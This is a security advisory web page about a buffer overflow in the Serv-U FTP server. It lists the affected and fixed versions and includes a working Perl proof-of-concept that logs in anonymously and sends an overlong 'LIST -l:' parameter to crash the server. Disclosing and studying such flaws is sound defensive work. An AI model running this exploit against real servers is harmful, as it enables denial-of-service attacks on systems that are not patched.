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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Serv-U LIST -l Parameter Buffer Overflow 19 Apr. 2004    Summary Serv-U is a "powerful, easy-to-use, award-winning FTP server" created by Rob Beckers. A vulnerability in the product allows a remote user to cause the server to fail by sending a malformed LIST command to the server.   Credit: SecurITeam would like to thank STORM for finding this vulnerability. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Serv-U version 5.0.0.4 and prior Immune Systems:  * Serv-U 5.0.0.6 and newer A user issuing a long parameter (around 134 bytes) as a value for a LIST command (using the -l: parameter for that LIST command), can cause the server to try and read a value that is outside the memory location of the Serv-U's memory, this will cause an exception to be triggered (an unhandled exception), which in turn causes the program to crash. Exploit: #!/usr/bin/perl use IO::Socket; $host = "192.168.1.243"; $remote = IO::Socket::INET->new ( Proto => "tcp",      PeerAddr => $host,      PeerPort => "2116",     ); unless ($remote) { die "cannot connect to ftp daemon on $host" } print "connected\n"; while (<$remote>) {  print $_;  if (/220 /)  {   last;  } } $remote->autoflush(1); my $ftp = "USER anonymous\r\n"; print $remote $ftp; print $ftp; sleep(1); while (<$remote>) {  print $_;  if (/331 /)  {   last;  } } $ftp = join("", "PASS ", "a\@b.com", "\r\n"); print $remote $ftp; print $ftp; sleep(1); while (<$remote>) {  print $_;  if (/230 /)  {   last;  } } my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n"); print $remote $ftp; print $ftp; sleep(1); while (<$remote>) {  print $_;  if (/250 Done/)  {   last;  } } close $remote;  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows USB Driver Memory Object Handling Local Privilege (2013-1287) Vulnerability Microsoft IE SaveHistory Onload Event Handling Use-After-Free Arbitrary Code Execution Vulnerability Microsoft IE CMarkupBehaviorContext Use-After-Free Arbitrary Code Execution Vulnerability Microsoft SharePoint XSS Vulnerability Microsoft IE OnBeforeCopy Use-After-Free Arbitrary Code Execution Vulnerability Microsoft Windows USB Driver Memory Object Handling Local Privilege Escalation Vulnerability Microsoft OneNote Buffer Size Validation ONE File Handling Information Disclosure Vulnerability Microsoft IE GetMarkupPtr execCommand Print Event Handling Use-after-free Execution Vulnerability Microsoft SharePoint Remote Overflow DoS Vulnerability Microsoft IE CTreeNode Use-After-Free Arbitrary Code Execution Vulnerability Microsoft Windows USB Driver Memory Object Handling Local Privilege (2013-1286) Vulnerability Microsoft IE CTreeNode Use-After-Free Use-After-Free Arbitrary Execution Vulnerability Microsoft IE Proxy Server TCP Session Re-Use Cross-User Information Disclosure Weakness Vulnerability Microsoft IE Shift JIS Character Encoding Information Disclosure Vulnerability Microsoft IE SetCapture Use-after-free Arbitrary Code Execution Vulnerability Microsoft IE Vector Markup Language (VML) Buffer Allocation Memory Corruption Vulnerability Microsoft Windows Kernel Memory Object Handling Local Privilege Escalation Vulnerability Microsoft System Center Operations Web Console XSS Vulnerability Microsoft Lync User-Agent Header Handling Remote Arbitrary Command Execution Vulnerability Microsoft System Center Operations Manager Web Console XSS Vulnerability  Featured Articles Microsoft Windows USB Driver Memory Object Handling Local Privilege (2013-1287) Vulnerability Microsoft Windows USB Driver Memory Object Handling Local Privilege Escalation Vulnerability Microsoft Windows Kernel Memory Object Handling Local Privilege Escalation Vulnerability Microsoft Windows SSL/TSL Forced Downgrade MitM Weakness Microsoft Windows Memory Object Handling Local Memory Privilege Escalation Vulnerability Microsoft Windows Privilege Escalation Vulnerability Microsoft .NET Framework Serialization Remote Code Execution Vulnerability Microsoft Visio Viewer VSD File Format Remote Code Execution Vulnerability Microsoft .NET Framework Input Serialization CVE-2012-0160 Remote Code Execution Vulnerability Microsoft .NET Framework ASP.NET Forms Authentication Bypass Vulnerability 'TrendMicro Control Manager CASProcessor.exe BLOB Code Execution Vulnerability' 'HP iNode Management Center iNodeMngChecker.exe Code Execution Vulnerability' 'HP Data Protector Backup Client Service EXEC_SCRIPT Code Execution Vulnerability' 'Microsoft Internet Explorer Property Change Memory Corruption Vulnerability' 'Microsoft Office PowerPoint PersistDirectoryEntry Code Execution Vulnerability' 'CA Total Defense Suite Heartbeat Web Service Code Execution Vulnerability' 'HP Web Jetadmin Unauthorized Access to Managed Resources Vulnerability' 'Novell Zenworks Handheld Management ZfHIPCnd.exe Opcode 2 Code Execution Vulnerability' 'Microsoft Windows Shell Graphics biCompression Buffer Overflow Vulnerability' 'Microsoft Office PICT Filter Integer Truncation Vulnerability'
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